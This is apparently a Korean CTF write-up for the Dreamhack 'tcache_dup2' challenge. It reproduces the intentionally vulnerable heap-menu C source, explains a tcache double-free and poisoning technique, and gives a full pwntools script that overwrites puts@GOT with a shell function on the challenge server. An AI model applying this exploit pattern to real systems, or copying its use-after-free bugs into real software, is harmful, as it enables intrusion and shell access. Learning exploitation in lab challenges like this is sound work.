Index
문제
보호기법 확인
nx와 canary가 걸려있다.
tcache_dup2.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if(!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
printf("Size: ");
scanf("%ld", &size);
if( size > 0x10 )
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if( idx >= 7 )
exit(0);
if( !ptr[idx] )
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while(1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
create_heap
: 힙 영역에 입력한 size
만큼 할당하여 데이터를 입력받고, ptr[idx]
에 힙 주소 저장
modify_heap
: idx
를 입력받아 할당받은 힙 영역의 데이터 입력 (0x10
이하의 크기)
delete_heap
: idx
를 입력받아 해당하는 힙 주소 chunk
를 할당 해제
문제풀이
tcache_entry → key
를 변조하여 double free를 발생시켜 duplicated free list
를 만든다.
같은 크기를 재 할당을 해도 아직 free chunk로 인식하지만, ptr[idx]
에는 힙 주소가 들어가 있기 때문에 modify_heap
함수로 해당 chunk
의 fd
값을 조작할 수 있다.
💡
이 부분의 자세한 설명은 함께 풀기 문제인 Tcache Poisoning과 동일하므로 생략한다.
[Dreamhack] Tcache Poisoning - write up
Index문제 환경문제보호기법 확인tcache_poison.c문제 풀이Libc LeakExploit익스플로잇 코드 Tcache PoisoningDescription Exploit Tech: Tcache Poisoning에서 실습하는 문제입니다.https://dreamhack.io/wargame/challenges/358/ 문제 환경Ubuntu 18.04 / glibc 2.27💡glibc 버전을 2.27로 맞춰줘야 한다. 2.31은 해당 취약점이 패치되었다. 문제보호기법 확인tcache_poison.c// Name: tcache_poison.c // Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now #include #incl..
https://she11.tistory.com/158
변조되는 fd
값에 main
함수에서 메뉴를 출력해주는 puts
함수를 get_shell
함수의 주소로 overwrite하면 셸을 얻을 수 있다.
익스플로잇 코드
from pwn import *
context.log_level='debug'
#p = process('./tcache_dup2')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF('./tcache_dup2')
p = remote('host3.dreamhack.games', 11459)
libc = ELF('./libc-2.30.so')
binsh = e.sym["get_shell"]
puts_got = e.got["puts"]
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def create_heap(size, data):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"Size: ", str(size))
p.sendafter(b"Data: ", data)
def modify_heap(idx, size, data):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"idx: ", str(idx))
p.sendlineafter(b"Size: ", str(size))
p.sendafter(b"Data: ", data)
def delete_heap(idx):
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"idx: ", str(idx))
slog("puts_got", puts_got)
slog("binsh", binsh)
create_heap(0x40, b'a')
delete_heap(0)
modify_heap(0, 0x10,b'b'*8+b'\x00')
delete_heap(0)
create_heap(0x40, b'c')
delete_heap(0)
modify_heap(0, 0x10,p64(puts_got)+b'\x00')
create_heap(0x40, b'd')
create_heap(0x40, p64(binsh))
p.interactive()
Uploaded by N2T